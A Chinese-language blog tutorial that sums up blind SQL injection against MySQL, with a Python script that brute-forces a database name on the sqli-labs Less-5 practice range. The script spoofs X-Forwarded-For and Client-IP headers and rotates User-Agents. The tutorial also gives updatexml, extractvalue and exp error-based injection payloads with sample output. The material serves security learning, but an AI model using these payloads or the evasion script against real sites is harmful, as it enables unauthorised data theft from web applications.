SQL注入----盲注总结
阅读原文时间:2023年07月09日阅读:1

参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7427bfd6ef65c57c243c3858&chksm=e89e338cdfe9ba9af773822e0850a429d54aff8ec3a21ac5995c4ba4ff8a123db04f6fa254e5&mpshare=1&scene=23&srcid=0731umT6uztdSffKNMnZjRTX&sharer_sharetime=1596153909988&sharer_shareid=4b5c9eed7ae6c09030306744642036f1#rd


盲注就是在 sql 注入过程中,sql 语句执行的选择后,由于开发人员的安全操作,并未把明显的错误返回到前端,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为三类:

  • 基于布尔 SQL 盲注 正常情况下返回一个界面,非正常情况下返回另一个界面,但是并未把SQL报错的信息显示出来

  • 基于时间的 SQL 盲注 正常和非正常都返回一个界面,只能通过判断返回时间来注入

  • 基于报错的 SQL 盲注 通过一些MySQL的函数,强制让数据库报错并返回


基于布尔 SQL 盲注

这里先得简单介绍几个MySQL中的基础函数,方便下面理解

left()mid()substr()``left()

我一般只用mid()函数,其余的函数你可以去文章开头这篇文章去看,大佬写的比较详细,函数大概的语法如下

mid()函数

mid(column_name,start[,length]),此函数为截取字符串一部分。

参数:column_name :必需,要提取字符的字段。

start:必需,规定开始位置。

length() : 可选,要返回的字符数。如果省略,则mid()函数返回剩余文本。

这个盲注吧,你总不能真的一个个去试吧??最笨也是最聪明的方法,就是花几分钟,写个python脚本。

下面我们直接找个靶场练习练习

 在线靶场:http://43.247.91.228:84  ,我推荐自己下一个sql靶场,网上有很多源码和安装教程,十几分钟就可以弄好。 

第五关就是布尔盲注,我这里先简单试了试,就直接写了个py拿脚本跑了,下面附上代码。先查看数据库的总体长度,在一个个爆破

import requests
import random

def random_headers():#生成随机headers
user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',
'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',
'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5']
UA = random.choice(user_agent)
a = str(random.randint(1, 255))
b = str(random.randint(1, 255))
c = str(random.randint(1, 255))
random_XFF = '127.' + a + '.' + b + '.' + c
random_CI= '127.' + c + '.' + a + '.' + b
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': UA,
'X-Forwarded-For': random_XFF,
'Client-IP':random_CI,
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
"Referer": "http://www.baidu.com/",
'Content-Type': 'application/x-www-form-urlencoded'}
return headers

查看当前数据库的名称长度

for len in range(100):
urll = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20%20 length(database())='+str(len)+'--+'
r = requests.get(url=urll, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(len)
break

盲注

x=['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
for ii in range(8):
ii=ii+1
# print(ii)
for i in range(26):
url = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20mid(database(),'+str(ii)+',1)=%27' + x[i] + '%27%20--+'
# print(url)
r = requests.get(url=url, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(x[i])
continue

基于报错的盲注

基于报错的盲注就是构造payload让信息通过错误提示回显出来,主要有floor()报错、exp()报错、updatexml()报错

exp报错:根本不建议使用,对版本要求太高

select exp(~(select * FROM(SELECT USER())a));

用法介绍:updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值

需要注意的是XPATH语法报错的是那些特殊字符,遇到特殊字符会报错,所以选择了ascii码为0x7e的字符~

另外,updatexml最多只能显示32位,需要配合SUBSTR或者reserve使用

mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~security~'

//假设数据库名过长看,使用substr()
mysql> select updatexml(1,concat(0x7e,(substr((select database()),1,5)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~secur~'
mysql> select updatexml(1,concat(0x7e,(substr((select database()),5,12)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~rity~'
//报错表内数据名
mysql> select updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

在注入时的用法

1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)

extractvalue报错:同updatexml一样,限制长度也是32位

用法介绍:EXTRACTVALUE(XML_document, XPath_string);

函数解释:

  extractvalue():从目标XML中返回包含所查询值的字符串。  EXTRACTVALUE (XML_document, XPath_string);   第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc   第二个参数:XPath_string (Xpath格式的字符串)  concat:返回结果为连接参数产生的字符串。    0x7e:ASCII码,实为~,extractvalue()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,

mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~security~'

mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema~'

mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~8cmsdata~'

在注入时的用法

1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e))

贴出各个报错注入可以实现的各个版本要求

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章